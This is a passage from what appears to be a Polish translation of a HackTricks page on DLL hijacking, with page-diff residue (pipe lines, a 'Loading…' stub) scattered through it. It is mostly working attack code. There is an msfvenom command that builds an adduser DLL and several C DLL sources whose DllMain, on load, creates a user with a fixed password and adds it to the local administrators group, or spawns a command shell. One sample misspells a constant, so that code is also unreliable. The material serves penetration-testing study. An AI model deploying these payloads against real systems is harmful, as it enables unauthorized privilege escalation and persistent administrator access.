**Utwórz użytkownika (x86 — nie widziałem wersji x64):**
|
|
||||||
```
|
|
||||||
msfvenom -p windows/adduser USER=privesc PASS=Attacker@123 -f dll -o msf.dll
|
|
||||||
```
|
|
||||||
### Własne
|
|
||||||
|
|
||||||
Zauważ, że w wielu przypadkach Dll, który kompilujesz, musi **export several functions**, które zostaną załadowane przez proces ofiary; jeśli te funkcje nie istnieją, **binary won't be able to load** ich i **exploit will fail**.
|
|
||||||
```c
|
|
||||||
// Tested in Win10
|
|
||||||
// i686-w64-mingw32-g++ dll.c -lws2_32 -o srrstr.dll -shared
|
|
||||||
#include <windows.h>
|
|
||||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
|
|
||||||
switch(dwReason){
|
|
||||||
case DLL_PROCESS_ATTACH:
|
|
||||||
system("whoami > C:\\users\\username\\whoami.txt");
|
|
||||||
WinExec("calc.exe", 0); //This doesn't accept redirections like system
|
|
||||||
break;
|
|
||||||
case DLL_PROCESS_DETACH:
|
|
||||||
break;
|
|
||||||
case DLL_THREAD_ATTACH:
|
|
||||||
break;
|
|
||||||
case DLL_THREAD_DETACH:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
```c
|
|
||||||
// For x64 compile with: x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll
|
|
||||||
// For x86 compile with: i686-w64-mingw32-gcc windows_dll.c -shared -o output.dll
|
|
||||||
|
|
||||||
#include <windows.h>
|
|
||||||
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved){
|
|
||||||
if (dwReason == DLL_PROCESS_ATTACH){
|
|
||||||
system("cmd.exe /k net localgroup administrators user /add");
|
|
||||||
ExitProcess(0);
|
|
||||||
}
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
```c
|
|
||||||
//x86_64-w64-mingw32-g++ -c -DBUILDING_EXAMPLE_DLL main.cpp
|
|
||||||
//x86_64-w64-mingw32-g++ -shared -o main.dll main.o -Wl,--out-implib,main.a
|
|
||||||
|
|
||||||
#include <windows.h>
|
|
||||||
|
|
||||||
int owned()
|
|
||||||
{
|
|
||||||
WinExec("cmd.exe /c net user cybervaca Password01 ; net localgroup administrators cybervaca /add", 0);
|
|
||||||
exit(0);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
|
|
||||||
{
|
|
||||||
owned();
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
```c
|
|
||||||
//Another possible DLL
|
|
||||||
// i686-w64-mingw32-gcc windows_dll.c -shared -lws2_32 -o output.dll
|
|
||||||
|
|
||||||
#include<windows.h>
|
|
||||||
#include<stdlib.h>
|
|
||||||
#include<stdio.h>
|
|
||||||
|
|
||||||
void Entry (){ //Default function that is executed when the DLL is loaded
|
|
||||||
system("cmd");
|
|
||||||
}
|
|
||||||
|
|
||||||
BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
|
|
||||||
switch (ul_reason_for_call){
|
|
||||||
case DLL_PROCESS_ATTACH:
|
|
||||||
CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0);
|
|
||||||
break;
|
|
||||||
case DLL_THREAD_ATTACH:
|
|
||||||
case DLL_THREAD_DETACH:
|
|
||||||
case DLL_PROCESS_DEATCH:
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
return TRUE;
|
|
||||||
}
|
|
||||||
```
|
|
||||||
## Źródła
|
|
||||||
|
|
||||||
- [https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e](https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e)
|
|
||||||
- [https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html](https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html)
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
- [Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe](https://research.checkpoint.com/2025/nimbus-manticore-deploys-new-malware-targeting-europe/)
|
|
||||||
|
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
|
Loading…
x
Reference in New Issue
Block a user